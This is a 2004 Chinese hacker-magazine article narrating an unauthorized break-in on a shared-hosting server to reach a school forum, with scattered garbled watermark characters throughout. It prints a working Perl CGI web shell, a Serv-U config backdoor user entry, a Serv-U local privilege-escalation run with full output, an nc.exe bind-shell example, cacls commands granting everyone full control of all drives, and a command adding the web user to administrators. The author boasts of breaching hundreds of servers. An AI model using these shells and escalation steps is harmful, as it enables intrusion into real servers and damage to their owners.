剑走偏锋——灵巧的旁注攻击 5 N( A \/ I0 _: F) n
本文作者:angel# C( \- ~2 F' v) ]1 U
文章性质:原创
5 M1 h; O# B8 S6 F$ q发布日期:2004-11-09 9 a2 q/ J/ s4 G, ]# }
注意:& S7 B) @: T& t5 `# H$ K
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。; m0 d, q4 C5 I! J9 a# V+ a: [
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
1 y$ n. i: f d$ G" W/ D2 n+ u- G m0 o; Y/ \9 u( D: I: K1 y' f+ L( e
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 + T0 n( j" t/ q# C. S& ^' I) b
/ Q' n) o- C% u2 C1 `) r 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 5 C% f# _9 a9 |- ]& r
) ?! k$ _. I1 N' V
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 3 h3 H: A" V6 z0 D9 z: u6 j
+ H. X, o8 i3 j4 G9 C* o* C
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
( [# s# U6 m8 I1 @- M9 J% I9 {2 F6 T( O6 T ` N; C% O
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 % f \$ p/ r5 V& R' J. G" I
# Q* z' y+ m" k% l8 T
没有目的的跳转目录着…… : e( S" O! N5 `: N) C; m( [
. b4 s5 g( f* o 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… ! A2 `7 G' S1 A' \$ c" l& ^
2 @5 c+ x: c( X; _% B; g
结束了吗?不,我试着 FTP 一下: 8 T) E" ^4 S' a
$ J, `; \; S; p" y f% @( V
Microsoft Windows 2000 [Version 5.00.2195]) h' m: T1 @6 z1 f; O' H
(C) 版权所有 1985-2000 Microsoft Corp.
- c# Z$ R, K$ h! A. d) {) M' W# M, N) L6 v
C:\Documents and Settings\Administrator>ftp www.school.com/ f2 }5 ]9 {$ C
Connected to www. school.com.
1 t; |3 e, X2 S8 |7 s220 Welcome to FTP Server...
$ T8 e1 h# X. k* ]User (www.bjtrq.com:(none)):
1 D) ]2 \/ Q! w: k0 I6 J8 g B. v331 User name okay, need password. ( ?) Z3 r' l# A/ F
Password: 5 J o/ u$ A6 T, a
530 Not logged in. 9 S# Q4 W2 ~# ]9 }. E. z
Login failed. 3 Y2 j* R# ~. V' k7 U
ftp> bye 2 `9 ^/ c2 P# K) ^; K
221 Goodbye! 8 n5 ~1 ^* u( {. Q
L1 X' W6 O3 q e+ g8 c
+ ~; g$ D8 i0 W1 K% r5 `2 B 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… ' S& s) K* x: a2 \" G, U/ }
& g% G& l$ E2 i% g, {5 ?( ^3 ]. w9 x, |
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
- i u! P; b* C
: K- B: C9 K4 MApplication Data v7 Z0 E6 [( k/ i j" @
Documents) C' C# F# C* ~* C1 p. o
DRM
# w5 m/ ~0 ~8 bFavorites1 P u. `; p/ z6 R% o5 l
Templates
! A, E( C0 q, S8 L8 G* u7 J _「开始」菜单% Y, j6 {9 T" U5 d3 { z' e+ j& F
桌面$ H [, D% A+ f% t( ^5 h5 N+ [
% \2 b! W7 [* |8 z( h
8 D3 ]9 p4 r4 D: H) N/ T 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
& z ?7 L1 [ q6 }6 q5 Q# p
/ x- \2 y, M. M9 i4 O9 M& a' jActiveState ActivePerl 5.8, G0 _7 p! x' v- ^& V3 I
Administrative Tools, F" h. z% f* Y- C( J
Deerfield.com
# f! a' J) z0 m4 V2 H: V8 IDTemp
& q* C) z9 a8 S% MIPSentry) s& z, N9 X3 X: e& P
MBM 5# n2 {* e: N7 Q7 k. b
NetMeter! N5 \1 L, h6 ^ _( o' Z
Network ICE2 {6 m2 K& l! f. x, H
Persits Software AspEmail% X% r! h. ^( D
Persits Software AspJpeg3 u+ c# i% i2 w9 V5 W: X: C7 G7 P
Serv-U FTP Server
3 f5 {+ e, Z& @8 TSymantec Client Security
% R/ S$ N1 I- e5 H( G6 pWindows 优化大师) O0 l; P6 Q2 j& Y, {5 Z
WinRAR
( G5 B5 n- n; D' _% c/ S2 i7 |9 j启动/ C" b9 \ D2 C, m9 r! _- z: H
管理工具, o* c s7 a0 S6 V
附件, X0 B: [$ |2 E0 T
" ^& ~& R; R1 S$ }4 U# D
" V* P- ?, F1 }2 j4 J7 j% c 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
8 _' w3 z8 S) v$ v) G U9 b+ z( Z9 P6 p$ E
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
, {: l* i. r; o* L& B0 X4 F7 ^5 F& i& p( {8 F# g. j/ H
User281=angel|1|0 $ x& R$ p: V% ^% U) c' U
; |3 M! Z) C- R {* e
: j Y H2 J H7 ~% W3 h 然后加上
6 i' d% f. S" j/ x. v( }( T: ]2 y# t& [: V( Z, M! d5 o
[USER=angel|1]
5 E4 i a( h8 B! ~, } ]Password=ng98F85379EA68DBF97BAADCA99B69B805
8 H) `% o) z2 U' `HomeDir=D:\websites, a0 j0 H1 w0 R! F6 ~
RelPaths=15 M6 t8 G8 i- l4 J. g% M4 v
TimeOut=600, |2 g* j% q& T# z" Z) N
Maintenance=System* ] z! I; i- a" A( b8 c
Access1=D:\websites|RWAMELCDP# f5 A! X& X7 t
SKEYValues=
: {3 S# ?/ v7 U- F. b, V' K
$ Z/ O! Y! T: `2 G
& t5 D0 B! C- N5 a" L; ?% l 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
& p: a0 \( Y8 N/ z( }3 I
' g9 L8 w' C( W9 s% F 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 " {; J( \, e& w; {% I9 K
3 |( l, L* b2 k, P3 J 不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
' O/ E. V& T8 X' `0 N0 W, |. M( d1 L
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 1 s$ ~; H! k' W9 Y. |
l8 i5 n) }" N% `2 X
#!/usr/bin/perl
* x7 E3 c2 ~4 m, L( E* q% [binmode(STDOUT);
3 q8 H2 L% f! x$ q+ }# N* ~syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);; g2 z3 F; F% o& K
$_ = $ENV{QUERY_STRING};
% W1 P" w4 e( R% M) }! S' hs/%20/ /ig;
6 }# O4 o! `' t4 B ?5 n+ us/%2f/\//ig;
. M; L) U; f% k4 x$execthis = $_;. X! U2 A: u6 N
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);* M3 _; r2 H, ~
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
6 b1 A2 E- y; J* j S; hsystem($execthis);) \" x3 J, C5 l j. Q
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
9 A/ W( o1 v) q# O# Sclose(STDERR);1 B0 K' h7 u' B0 w3 ~7 \! b# T
close(STDOUT);
" o* f" J8 X8 G8 q8 Iexit;" L! ?/ t+ |. V0 j5 L* G" }8 r* s
) d# |! J2 D7 a- q/ g
5 U. v- P- k4 U& k 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
. D& p: @; g" K/ n7 `- I' ]$ ~8 ]
) E. m6 M. e% r1 w# X6 e: u5 ^8 U: c 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
1 K& a6 z) U) G0 O& X' c3 ^+ b; |5 X* r0 r, _- j0 x3 I) T/ ]
http://anyhost//cmd.pl?d:\user\bin\su.exe
8 n0 F& l: a) ^+ l ! R$ g; m/ j( @1 r
$ [; F: L ^/ L3 Z
返回:
5 b9 x; i7 W, n! i/ p' F: v( ?- I+ ` _! G
Serv-u >3.x Local Exploit by xiaolu
5 r- J8 m2 A' |2 Y3 ?, Y: e2 p: L, Q! ^3 {0 |: S: V
USAGE: serv-u.exe "command" / z- z9 _& k6 q3 @* o6 s
& i" Y3 h( }0 F3 y
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
' _ h& S1 w2 ` ! I' [' T) }2 P# `6 ?- Q
9 Z5 K, e& t: [ r
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: % W9 t& F( c8 y, U$ t/ G
_9 w4 C1 ^. @) d$ N/ Khttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
; o2 K) A# l8 k. V" n1 U9 M3 d$ v! l) T# V4 p! Y! {! v
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 4 D8 ^; c$ ~, \+ n
% a( i8 J p |; Vhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" 5 O! l6 N2 c; I
; V8 B2 w% T: I7 s) [" E9 h
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
/ |" e/ [" l+ z & B3 Y5 k6 H. d+ k# M, c: c
1 d2 L `/ W4 h/ x
返回下面的信息,就表示成功了!!!
. N' w2 A) J+ |. C" _+ f' l: v. [; i( f
Serv-u >3.x Local Exploit by xiaolu . d4 w6 f. I- p) g; G. U# u b
- w: d8 J+ D9 l* G) Z. k' D
<220 Serv-U FTP Server v5.2 for WinSock ready...
; u6 H: g* |7 A, c: J2 A Z/ E1 d9 o1 P
>USER LocalAdministrator 2 A8 @5 O" y% z; Q3 s, {
( p3 ]. s9 H: B3 F/ X8 I; [# k& M<331 User name okay, need password.
6 W. U! e& J2 _0 K9 @# t& g
" S- H8 B8 ?0 H# B****************************************************** , K+ S* w8 f% X; f: z ~, L( @/ [
2 j& C6 M0 j6 D2 {# v>PASS #l@$ak#.lk;0@P 3 W7 ^& G* l8 K. ?
$ O* {0 F/ |/ c<230 User logged in, proceed. ! B, t4 l. G( M4 q# F
7 c+ C% u3 d! ^******************************************************
* ~- C R$ Y- M
g7 [" t z {; a7 h4 r>SITE MAINTENANCE
3 L8 I9 `# w1 O
! V) p3 x/ O/ E4 C****************************************************** 3 x1 u* {) g; [ O' l% u+ ]$ R7 ]
+ J! S1 g l' i6 O% [; y* C
[+] Creating New Domain... : ~9 S1 z' O7 y
U6 n8 Q& H# G; ?8 l
<200-DomainID=2
- a2 z; \: b+ F2 |$ o) |4 Q5 Q; b- p9 d4 A D* J" P- y6 k9 |
<220 Domain settings saved
% Z: B2 c" z3 {+ e# x! g. G0 l( f6 M0 {$ i
****************************************************** ! B! x0 M p3 y. g* E% G, v0 G; c
& f) c- E$ H! }: j j C6 b
[+] Domain xl:2 Created # c- ^; N% s1 p$ `+ E. }
5 ~: { I7 ?: } |1 ~8 E
[+] Creating Evil User : ]6 W/ i! z! L$ d) j! ~; A9 `
% `3 R, D. N9 q. Z
<200-User=xl
8 O4 l# |: N! H& V w2 ?% k0 @" V
200 User settings saved
. }4 K9 K4 \% g! X x2 x) @
. V( r+ i) F: e; K7 K" j; E- u******************************************************
7 c+ v: |4 q- ^: L9 k5 h( A
% \, c: e# F% t+ N; L[+] Now Exploiting... 3 _. F Z! y g- H" b/ r8 e) `
6 w' H1 f4 K2 \; D' ]% p
>USER xl , K" E& l7 e- [( z! y4 N- e4 A
, s5 T Z+ F, n6 u<331 User name okay, need password. % R/ c* g( V+ S
5 `' s: _1 D$ R6 s5 Q+ e- {3 T
****************************************************** - K) P9 y8 `1 D% ?: S
* T8 t8 I# W$ n1 }8 O% i3 r
>PASS 111111
8 S5 F8 x' ?9 F, g6 f- t E- D# B4 ~" o& @# B7 H0 G
<230 User logged in, proceed. # Q" l! D' X* Y2 @3 V/ n8 t! N! M: B
0 X5 ~" K- o4 C( q5 y8 t. n
****************************************************** 2 o& j# F$ L! R* D; X: h
! m! K: Y g0 A4 p/ U7 u$ F[+] Now Executing: cacls.exe c: /E /T /G everyone:F
# T" x0 Z5 `6 P4 T0 G7 M- l& t* w. h
<220 Domain deleted
! b6 d" J2 R5 c. s
7 T @! A& z" X( C- }% H****************************************************** 8 R# [) y d4 M( k6 z
- e/ a6 p3 q8 l5 H5 {' i N$ @$ g4 M5 j" r2 u7 I
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
0 b7 L+ O9 l2 Q5 W! a6 j% E7 K
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
% [ }8 \5 _- F# w1 T
$ Y5 i+ d% {, |* E
0 c' i4 z" I' s2 S% G# Y- ^4 w 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 ; X" m3 v% Q5 `% h
, c6 |: B% d! c& Z) o; e
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
A: k( \5 d% l : W$ F6 Y/ w! H9 C( m/ v
" H6 T5 G4 \$ V9 } |